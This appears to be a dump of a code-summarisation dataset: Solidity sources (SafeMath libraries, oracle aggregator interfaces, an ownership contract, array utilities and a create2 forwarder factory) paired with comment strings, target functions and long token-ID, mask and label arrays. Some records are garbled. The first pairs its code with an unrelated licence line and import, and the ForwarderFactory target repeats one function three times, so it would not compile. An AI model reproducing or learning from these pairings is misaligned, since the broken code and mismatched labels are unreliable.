(list[lo], list[hi]) = (list[hi], list[lo]); } else { // Let orig_lo and orig_hi be the original values of lo and hi passed to partition. // Then, hi < orig_hi, because hi decreases *strictly* monotonically // in each loop iteration and // - either list[orig_hi] > pivot, in which case the first loop iteration // will achieve hi < orig_hi; // - or list[orig_hi] <= pivot, in which case at least two loop iterations are // needed: // - lo will have to stop at least once in the interval // [orig_lo, (orig_lo + orig_hi)/2] // - (orig_lo + orig_hi)/2 < orig_hi return hi; } } } /** * @notice Makes an in-memory copy of the array passed in * @param list Reference to the array to be copied */ function copy(int256[] memory list) private pure returns(int256[] memory) { int256[] memory list2 = new int256[](list.length); for (uint256 i = 0; i < list.length; i++) { list2[i] = list[i]; } return list2; } } pragma solidity ^0.6.0; /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address payable public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() public { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 128 bit integers. */ library SafeMath128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { require(b <= a, "SafeMath: subtraction overflow"); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 32 bit integers. */ library SafeMath32 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint32 a, uint32 b) internal pure returns (uint32) { uint32 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint32 a, uint32 b) internal pure returns (uint32) { require(b <= a, "SafeMath: subtraction overflow"); uint32 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint32 a, uint32 b) internal pure returns (uint32) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint32 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint32 a, uint32 b) internal pure returns (uint32) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint32 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint32 a, uint32 b) internal pure returns (uint32) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 64 bit integers. */ library SafeMath64 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint64 a, uint64 b) internal pure returns (uint64) { uint64 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint64 a, uint64 b) internal pure returns (uint64) { require(b <= a, "SafeMath: subtraction overflow"); uint64 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint64 a, uint64 b) internal pure returns (uint64) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint64 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint64 a, uint64 b) internal pure returns (uint64) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint64 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity >=0.6.0; import "./AggregatorInterface.sol"; import "./AggregatorV3Interface.sol"; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } pragma solidity ^0.6.0; interface AggregatorValidatorInterface { function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external returns (bool); } pragma solidity ^0.6.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity ^0.6.0; library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } /** * @notice Computes average of two signed integers, ensuring that the computation * doesn't overflow. * @dev If the result is not an integer, it is rounded towards zero. For example, * avg(-3, -4) = -3 */ function avg(int256 _a, int256 _b) internal pure returns (int256) { if ((_a < 0 && _b > 0) || (_a > 0 && _b < 0)) { return add(_a, _b) / 2; } int256 remainder = (_a % 2 + _b % 2) / 2; return add(add(_a / 2, _b / 2), remainder); } } pragma solidity >=0.6.0; interface AggregatorInterface { function latestAnswer() external view returns (int256); function latestTimestamp() external view returns (uint256); function latestRound() external view returns (uint256); function getAnswer(uint256 roundId) external view returns (int256); function getTimestamp(uint256 roundId) external view returns (uint256); event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt); event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt); } pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); }
SPDX-License-Identifier: BUSDL-1.1
import {IErc20Allocation} from "./IErc20Allocation.sol";
551,713
[ 1, 3118, 28826, 17, 13211, 17, 3004, 30, 605, 3378, 8914, 17, 21, 18, 21, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5666, 288, 8732, 1310, 3462, 17353, 97, 628, 25165, 8732, 1310, 3462, 17353, 18, 18281, 14432, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /** * @title Lambdeth * @dev Helpful methods for working with arrays */ contract Lambdeth { /** * @dev Iterates an array and returns true if the specified value is present in the array */ function concat(uint[] memory arr1, uint[] memory arr2) public pure returns (uint[] memory) { uint length1 = arr1.length; uint length2 = arr2.length; uint finalLength = length1 + length2; uint[] memory returnArray = new uint[](finalLength); for (uint i = 0; i < length1; i++) { returnArray[i] = arr1[i]; } for (uint j = 0; j < length2; j++) { returnArray[length1 + j] = arr2[j]; } return returnArray; } /** * @dev Iterates an array and returns true if the specified value is present in the array */ function contains(uint[] memory arr, uint value) public pure returns (bool) { uint length = arr.length; for (uint i = 0; i < length; i++) { if (arr[i] == value) return true; } return false; } /** * @dev Iterates an array and returns a new array with values for which the predicate returns false */ function filter(address caller, uint[] memory arr, bytes4 cb) public view returns (uint[] memory) { uint length = arr.length; uint offset = 0; uint[] memory filterArray = new uint[](length); for (uint i = 0; i < length; i++) { (bool success, bytes memory data) = caller.staticcall(abi.encodeWithSelector(cb, arr[i])); require(success); bool keep = bytesToBool(data); if (keep) { filterArray[i - offset] = arr[i]; } else { offset++; } } return trim(length - offset, filterArray); } /** * @dev Iterates an array and returns a new array of equal lenth containing transformed elements */ function map(address caller, uint[] memory arr, bytes4 cb) public view returns (uint[] memory) { uint length = arr.length; uint[] memory returnArray = new uint[](length); for (uint i = 0; i < length; i++) { (bool success, bytes memory data) = caller.staticcall(abi.encodeWithSelector(cb, arr[i])); require(success); returnArray[i] = bytesToUint(data, 0x00); } return returnArray; } /** * @dev Returns an array containing no more than 1 entry for any value */ function unique(uint[] memory arr) public view returns (uint[] memory) { uint length = arr.length; uint offset = 0; uint[] memory returnArray = new uint[](length); for (uint i = 0; i < length; i++) { uint value = arr[i]; if (!this.contains(returnArray, value)) { returnArray[i - offset] = value; } else { offset++; } } return trim(length - offset, returnArray); } // Converts bytes into bool function bytesToBool(bytes memory data) internal pure returns(bool) { uint val = bytesToUint(data, 0x00); return val == 1 ? true : false; } // Converts bytes into uint function bytesToUint(bytes memory data, uint start) internal pure returns (uint) { require(data.length >= start + 32, "slicing out of range"); uint val; assembly { val := mload(add(data, add(0x20, start))) } return val; } // Returns a trimmed array function trim(uint length, uint[] memory arr) internal pure returns(uint[] memory) { uint[] memory returnArray = new uint[](length); for (uint i = 0; i < length; i++) { returnArray[i] = arr[i]; } return returnArray; } }
Converts bytes into uint
function bytesToUint(bytes memory data, uint start) internal pure returns (uint) { require(data.length >= start + 32, "slicing out of range"); uint val; assembly { val := mload(add(data, add(0x20, start))) } return val; }
5,503,458
[ 1, 5692, 1731, 1368, 2254, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1731, 774, 5487, 12, 3890, 3778, 501, 16, 2254, 787, 13, 2713, 16618, 1135, 261, 11890, 13, 288, 203, 3639, 2583, 12, 892, 18, 2469, 1545, 787, 397, 3847, 16, 315, 2069, 14774, 596, 434, 1048, 8863, 203, 3639, 2254, 1244, 31, 203, 3639, 19931, 288, 203, 5411, 1244, 519, 312, 945, 12, 1289, 12, 892, 16, 527, 12, 20, 92, 3462, 16, 787, 20349, 203, 3639, 289, 203, 3639, 327, 1244, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.6; import "../Forwarder/InitializableForwarder.sol"; import "../Ownership/HasNoEther.sol"; contract ForwarderFactory is HasNoEther { // An event sent when a forwarder is created. event ForwarderCreated(address forwarder); //event DebugBytes32(bytes32 log); //event DebugBytes20(bytes20 log); //event DebugAddress(address log); bytes32 private contractCodeHash; constructor() public { contractCodeHash = keccak256( type(InitializableForwarder).creationCode ); } function createForwarder(uint256 _salt, address payable _parent) public returns (address) { return _createForwarder(_salt, msg.sender, _parent); } function getDeploymentAddress(uint256 _salt, address _sender) public view returns (address) { // Adapted from https://github.com/archanova/solidity/blob/08f8f6bedc6e71c24758d20219b7d0749d75919d/contracts/contractCreator/ContractCreator.sol bytes32 salt = _getSalt(_salt, _sender); bytes32 rawAddress = keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, contractCodeHash ) ); return address(bytes20(rawAddress << 96)); } function _createForwarder(uint256 _salt, address _sender, address payable _parent) internal returns (address) { InitializableForwarder forwarder = _deployForwarder(_salt, _sender); forwarder.initialize(_parent); emit ForwarderCreated(address(forwarder)); return address(forwarder); } function _deployForwarder(uint256 _salt, address _sender) internal returns (InitializableForwarder) { address payable addr; bytes memory code = type(InitializableForwarder).creationCode; bytes32 salt = _getSalt(_salt, _sender); assembly { addr := create2(0, add(code, 0x20), mload(code), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } return InitializableForwarder(addr); } function _getSalt(uint256 _salt, address _sender) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_salt, _sender)); } }
An event sent when a forwarder is created.event DebugBytes32(bytes32 log);event DebugBytes20(bytes20 log);event DebugAddress(address log);
contract ForwarderFactory is HasNoEther { event ForwarderCreated(address forwarder); bytes32 private contractCodeHash; constructor() public { contractCodeHash = keccak256( type(InitializableForwarder).creationCode ); } function createForwarder(uint256 _salt, address payable _parent) public returns (address) { return _createForwarder(_salt, msg.sender, _parent); } function getDeploymentAddress(uint256 _salt, address _sender) public view returns (address) { bytes32 salt = _getSalt(_salt, _sender); bytes32 rawAddress = keccak256( abi.encodePacked( bytes1(0xff), address(this), salt, contractCodeHash ) ); return address(bytes20(rawAddress << 96)); } function _createForwarder(uint256 _salt, address _sender, address payable _parent) internal returns (address) { InitializableForwarder forwarder = _deployForwarder(_salt, _sender); forwarder.initialize(_parent); emit ForwarderCreated(address(forwarder)); return address(forwarder); } function _deployForwarder(uint256 _salt, address _sender) internal returns (InitializableForwarder) { address payable addr; bytes memory code = type(InitializableForwarder).creationCode; bytes32 salt = _getSalt(_salt, _sender); assembly { addr := create2(0, add(code, 0x20), mload(code), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } return InitializableForwarder(addr); } function _deployForwarder(uint256 _salt, address _sender) internal returns (InitializableForwarder) { address payable addr; bytes memory code = type(InitializableForwarder).creationCode; bytes32 salt = _getSalt(_salt, _sender); assembly { addr := create2(0, add(code, 0x20), mload(code), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } return InitializableForwarder(addr); } function _deployForwarder(uint256 _salt, address _sender) internal returns (InitializableForwarder) { address payable addr; bytes memory code = type(InitializableForwarder).creationCode; bytes32 salt = _getSalt(_salt, _sender); assembly { addr := create2(0, add(code, 0x20), mload(code), salt) if iszero(extcodesize(addr)) { revert(0, 0) } } return InitializableForwarder(addr); } function _getSalt(uint256 _salt, address _sender) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_salt, _sender)); } }
13,005,154
[ 1, 979, 871, 3271, 1347, 279, 364, 20099, 353, 2522, 18, 2575, 4015, 2160, 1578, 12, 3890, 1578, 613, 1769, 2575, 4015, 2160, 3462, 12, 3890, 3462, 613, 1769, 2575, 4015, 1887, 12, 2867, 613, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
